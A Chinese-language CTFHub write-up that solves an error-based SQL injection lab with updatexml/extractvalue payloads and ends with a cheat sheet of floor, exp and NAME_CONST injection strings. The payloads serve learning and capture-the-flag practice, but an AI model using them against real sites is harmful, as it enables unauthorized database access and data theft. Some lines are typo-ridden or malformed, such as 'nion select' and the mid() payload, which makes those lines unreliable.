CTFHub | 报错注入

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习，实训平台。提供优质的赛事及学习服务，拥有完善的题目环境及配套 writeup ，降低 CTF 学习入门门槛，快速帮助选手成长，跟随主流比赛潮流。

        

        

0x01 题目描述

报错注入：

        （无）

网页显示内容

        

        

0x02 解题过程

        因为报错注入的语句比较多，测试了几个函数发现 updatexml 函数存在 SQL 报错注入漏洞，得到数据库名称 sqli 后，查询数据库表名，发现一个可疑表名 flag 。检查这个 flag 表中的列，发现一个列名为 flag ，查询数据发现此题 flag 。发现数据不完整，使用 mid 函数进行查询从字符 2 开始得到完整数据。

        

Ⅰ查询数据库名称

union select updatexml(1,concat(0x7e,database(),0x7e),1);

        

Ⅱ查询当前数据库sqli的表名，发现有一个表名为flag比较可疑

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e))--+

        

Ⅲ查询当前表flag，发现有一个列为flag

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--+

         

Ⅳ查询flag列名中的数据发现此题flag，但是发现flag不完整

and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--+

        

Ⅴ使用mid函数跳过第一个字符c，提取剩下的全部字符

and extractvalue(1,concat(0x7e,mid((select flag from flag),2),0x7e))--+

        

        

0x03 报错注入

注入语句解析：

查询数据库：union select updatexml(1,concat(0x7e,database(),0x7e),1);

#updatexml 对XML文档进行查询的函数，database() 数据库

查询表名：and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e))--+

#table 表，schema 元数据的一个抽象集合

查询列名：and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--+

查询数据：and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--+

提取字符：and extractvalue(1,concat(0x7e,mid((select flag from flag),2),0x7e))--+

mid 函数使用方法：

参数	描述
column_name	必需。要提取字符的字段。
start	必需。规定开始位置（起始值是 1）。
length	可选。要返回的字符数。如果省略，则 MID() 函数返回剩余文本。

payload：mid((select flag from flag),column_name,start,length

常用注入语句：

1.floor()报错注入

union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

2.extractvalue()报错注入

and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

3.updatexml()报错注入

and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

4.exp()报错注入

nion select (exp(~(select * FROM(SELECT USER())a))),2,3--+

5.NAME_CONST()

union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

        

        

0x04 参考文献

[1].郁离歌. SQL注入之报错注入的一些随笔[EB/OL]. [2022-10-28]. https://blog.csdn.net/like98k/article/details/79646512.

[2].Dar1in9. sql注入之报错注入[EB/OL]. [2022-10-28]. https://blog.csdn.net/silence1_/article/details/90812612.

[3].w3school. SQL MID() 函数[EB/OL]. [2022-10-28]. https://www.w3school.com.cn/sql/sql_func_mid.asp.

        

        

0x05 总结

文章内容为学习记录的笔记，由于作者水平有限，文中若有错误与不足欢迎留言，便于及时更正。